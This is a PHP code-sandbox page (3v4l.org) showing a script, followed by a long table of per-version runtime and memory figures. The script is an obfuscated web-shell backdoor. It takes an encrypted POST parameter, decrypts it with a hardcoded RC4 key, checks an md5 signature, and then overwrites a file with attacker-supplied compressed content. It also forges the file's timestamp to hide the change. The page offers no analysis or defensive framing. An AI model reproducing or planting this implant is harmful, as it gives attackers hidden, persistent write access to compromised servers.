3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (isset ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.95
8.3.30.0030.01020.34
8.3.20.0000.00820.20
8.3.10.0040.00421.96
8.3.00.0040.00422.39
8.2.170.0110.00422.96
8.2.160.0110.00422.21
8.2.150.0080.00024.18
8.2.140.0100.00024.66
8.2.130.0040.00426.16
8.2.120.0080.00017.75
8.2.110.0080.00022.27
8.2.100.0080.00418.03
8.2.90.0080.00019.34
8.2.80.0000.00819.53
8.2.70.0060.00317.63
8.2.60.0030.00618.17
8.2.50.0050.00718.07
8.2.40.0040.00418.47
8.2.30.0060.00319.55
8.2.20.0000.00817.78
8.2.10.0080.00017.92
8.2.00.0000.00817.95
8.1.270.0050.00322.36
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0100.00023.92
8.1.230.0070.00419.27
8.1.220.0090.00017.91
8.1.210.0050.00318.77
8.1.200.0030.00917.35
8.1.190.0080.00017.53
8.1.180.0000.00819.01
8.1.170.0030.00518.44
8.1.160.0000.00820.64
8.1.150.0080.00318.70
8.1.140.0080.00017.42
8.1.130.0040.00417.88
8.1.120.0000.00717.54
8.1.110.0030.00517.48
8.1.100.0000.00817.43
8.1.90.0000.00717.55
8.1.80.0050.00317.43
8.1.70.0030.00317.40
8.1.60.0040.00417.54
8.1.50.0050.00317.58
8.1.40.0030.00617.60
8.1.30.0000.00817.60
8.1.20.0000.00817.63
8.1.10.0000.00817.64
8.1.00.0080.00017.49
8.0.300.0050.00218.77
8.0.290.0040.00417.27
8.0.280.0040.00418.56
8.0.270.0000.00717.22
8.0.260.0050.00216.86
8.0.250.0000.00817.07
8.0.240.0080.00317.09
8.0.230.0040.00416.96
8.0.220.0070.00016.92
8.0.210.0050.00317.04
8.0.200.0030.00317.00
8.0.190.0040.00417.07
8.0.180.0000.00817.02
8.0.170.0030.00517.05
8.0.160.0040.00417.09
8.0.150.0030.00417.08
8.0.140.0040.00417.05
8.0.130.0000.00513.48
8.0.120.0030.00617.00
8.0.110.0050.00317.02
8.0.100.0000.00717.10
8.0.90.0000.00816.90
8.0.80.0090.00617.07
8.0.70.0070.00016.95
8.0.60.0000.00816.91
8.0.50.0040.00417.13
8.0.30.0130.00917.24
8.0.20.0130.01017.40
8.0.10.0040.00417.11
8.0.00.0100.00916.87
7.4.330.0050.00015.12
7.4.320.0000.00716.61
7.4.300.0070.00016.72
7.4.290.0080.00016.66
7.4.280.0040.00416.70
7.4.270.0000.00716.72
7.4.260.0050.00013.32
7.4.250.0040.00416.55
7.4.240.0020.00516.68
7.4.230.0070.00016.50
7.4.220.0030.01516.75
7.4.210.0090.00916.69
7.4.200.0040.00416.67
7.4.190.0000.00716.70
7.4.160.0000.01716.48
7.4.150.0000.01717.40
7.4.140.0080.00917.86
7.4.130.0110.00616.63
7.4.120.0140.00416.65
7.4.110.0110.00716.68
7.4.100.0060.01216.63
7.4.90.0140.00416.57
7.4.80.0090.01019.39
7.4.70.0130.00516.62
7.4.60.0110.00616.54
7.4.50.0040.00416.74
7.4.40.0060.00622.77
7.4.30.0120.00616.68
7.4.00.0060.00615.05
7.3.330.0020.00313.44
7.3.320.0030.00313.50
7.3.310.0070.00016.52
7.3.300.0080.00016.56
7.3.290.0030.01416.53
7.3.280.0070.01216.52
7.3.270.0100.00717.40
7.3.260.0140.01316.65
7.3.250.0120.00816.53
7.3.240.0060.01016.34
7.3.230.0000.01816.74
7.3.210.0080.00816.41
7.3.200.0080.00919.39
7.3.190.0070.01016.59
7.3.180.0060.01316.55
7.3.170.0030.01316.41
7.3.160.0130.00716.46
7.3.120.0060.01015.17
7.2.330.0040.01516.70
7.2.320.0090.00916.66
7.2.310.0060.01016.93
7.2.300.0150.00316.90
7.2.290.0130.00316.87
7.1.70.0000.00917.13
7.1.60.0070.01419.32
7.1.50.0140.01016.63
7.1.00.0100.05322.28
7.0.200.0040.00416.88
7.0.140.0070.07022.09
7.0.100.0000.05720.12
7.0.90.0030.08320.07
7.0.80.0030.08720.23
7.0.70.0030.08719.96
7.0.60.0070.08020.08
7.0.50.0670.05020.42
7.0.40.0230.06720.08
7.0.30.0100.07720.13
7.0.20.0070.08320.13
7.0.10.0070.08320.17
7.0.00.0200.07020.09
5.6.250.0100.06020.86
5.6.240.0100.07720.68
5.6.230.0230.05320.63
5.6.220.0100.05020.78
5.6.210.0130.07020.74
5.6.200.0130.06321.16
5.6.190.0170.05321.07
5.6.180.0070.08321.16
5.6.170.0130.07720.99
5.6.160.0070.08321.06
5.6.150.0030.08321.09
5.6.140.0130.07321.06
5.6.130.0070.08321.10
5.6.120.0070.08321.12
5.6.110.0130.08320.98
5.6.100.0030.08721.12
5.6.90.0030.08020.96
5.6.80.0100.08020.38
5.6.70.0130.05720.59
5.6.60.0100.07720.52
5.6.50.0070.07020.53
5.6.40.0030.08320.46
5.6.30.0030.08320.35
5.6.20.0100.07720.47
5.6.10.0100.07020.47
5.6.00.0000.06020.43
5.5.380.0130.07320.47
5.5.370.0000.08720.49
5.5.360.0070.08020.38
5.5.350.0200.07320.38
5.5.340.0130.07720.93
5.5.330.0070.08020.88
5.5.320.0030.08320.91
5.5.310.0100.07720.97
5.5.300.0070.05020.84
5.5.290.0100.08320.77
5.5.280.0030.09020.77
5.5.270.0230.07320.81
5.5.260.0100.08020.84
5.5.250.0030.08320.62
5.5.240.0100.04320.27
5.5.230.0200.07020.16
5.5.220.0000.08320.20
5.5.210.0070.07320.35
5.5.200.0070.08020.25
5.5.190.0130.07320.28
5.5.180.0100.08020.28
5.5.160.0030.08020.27
5.5.150.0130.06720.32
5.5.140.0170.07020.25
5.5.130.0100.05720.13
5.5.120.0130.07020.31
5.5.110.0070.07320.16
5.5.100.0130.07020.06
5.5.90.0130.06720.11
5.5.80.0070.08320.01
5.5.70.0030.08320.06
5.5.60.0030.08320.05
5.5.50.0100.07320.15
5.5.40.0070.07319.97
5.5.30.0030.07319.97
5.5.20.0100.07720.19
5.5.10.0100.05320.02
5.5.00.0100.07020.03
5.4.450.0070.08019.31
5.4.440.0170.07319.55
5.4.430.0000.05319.43
5.4.420.0170.07319.48
5.4.410.0100.07019.16
5.4.400.0000.04719.10
5.4.390.0030.08319.13
5.4.380.0230.06719.02
5.4.370.0100.07018.91
5.4.360.0070.07319.08
5.4.350.0130.06719.03
5.4.340.0030.07718.97
5.4.320.0070.04319.15
5.4.310.0030.07019.10
5.4.300.0100.04319.09
5.4.290.0130.07019.13
5.4.280.0070.05719.10
5.4.270.0030.07319.03
5.4.260.0070.07319.08
5.4.250.0070.07018.94
5.4.240.0100.07319.06
5.4.230.0100.06719.13
5.4.220.0030.07319.06
5.4.210.0070.08019.05
5.4.200.0070.08318.82
5.4.190.0000.05719.21
5.4.180.0100.07019.14
5.4.170.0100.07719.06
5.4.160.0100.04718.78
5.4.150.0130.06319.02
5.4.140.0000.08016.35
5.4.130.0000.07016.41
5.4.120.0070.06316.45
5.4.110.0070.08016.44
5.4.100.0130.05316.50
5.4.90.0070.07316.40
5.4.80.0100.07316.48
5.4.70.0070.07716.47
5.4.60.0030.07016.41
5.4.50.0000.07716.34
5.4.40.0200.05716.26
5.4.30.0100.05316.24
5.4.20.0070.07016.23
5.4.10.0030.08016.24
5.4.00.0000.07715.79
5.3.290.0070.06714.56
5.3.280.0100.07314.45
5.3.270.0070.07314.59
5.3.260.0070.05714.50
5.3.250.0070.05314.63
5.3.240.0200.06714.52
5.3.230.0030.07014.46
5.3.220.0170.06014.45
5.3.210.0130.06314.47
5.3.200.0100.07014.48
5.3.190.0030.07714.61
5.3.180.0030.07714.61
5.3.170.0130.06014.58
5.3.160.0070.04314.58
5.3.150.0070.07314.51
5.3.140.0030.07714.46
5.3.130.0030.06714.58
5.3.120.0030.04714.50
5.3.110.0130.07314.57
5.3.100.0000.05014.07
5.3.90.0100.05713.93
5.3.80.0100.07313.99
5.3.70.0100.06713.96
5.3.60.0030.07314.06
5.3.50.0100.06313.99
5.3.40.0100.04713.98
5.3.30.0070.06713.88
5.3.20.0030.07313.48
5.3.10.0030.07013.63
5.3.00.0130.06713.69
5.2.170.0100.05312.12
5.2.160.0030.05712.12
5.2.150.0000.04012.12
5.2.140.0100.04012.12
5.2.130.0100.05712.12
5.2.120.0000.06712.12
5.2.110.0070.06312.12
5.2.100.0070.05312.12
5.2.90.0100.05712.12
5.2.80.0100.06012.12
5.2.70.0070.05712.12
5.2.60.0000.06312.12
5.2.50.0000.06712.12
5.2.40.0030.05712.12
5.2.30.0070.03712.12
5.2.20.0030.05012.12
5.2.10.0000.06012.12
5.2.00.0030.06312.12
5.1.60.0070.05012.12
5.1.50.0070.03312.12
5.1.40.0000.03312.12
5.1.30.0030.05012.12
5.1.20.0070.05312.12
5.1.10.0100.05312.12
5.1.00.0000.06312.12
5.0.50.0030.05012.12
5.0.40.0070.04012.12
5.0.30.0000.06712.12
5.0.20.0070.04012.12
5.0.10.0030.04012.12
5.0.00.0000.05012.12
4.4.90.0030.03312.12
4.4.80.0000.04012.12
4.4.70.0000.03712.12
4.4.60.0000.03712.12
4.4.50.0030.03312.12
4.4.40.0000.05712.12
4.4.30.0030.02312.12
4.4.20.0030.02012.12
4.4.10.0070.03012.12
4.4.00.0070.04012.12
4.3.110.0030.03312.12
4.3.100.0030.03312.12
4.3.90.0030.02312.12
4.3.80.0000.05712.12
4.3.70.0000.03712.12
4.3.60.0070.03312.12
4.3.50.0000.03712.12
4.3.40.0000.05712.12
4.3.30.0070.03012.12
4.3.20.0030.03312.12
4.3.10.0000.04012.12
4.3.00.0030.03312.12

preferences:
38.32 ms | 400 KiB | 5 Q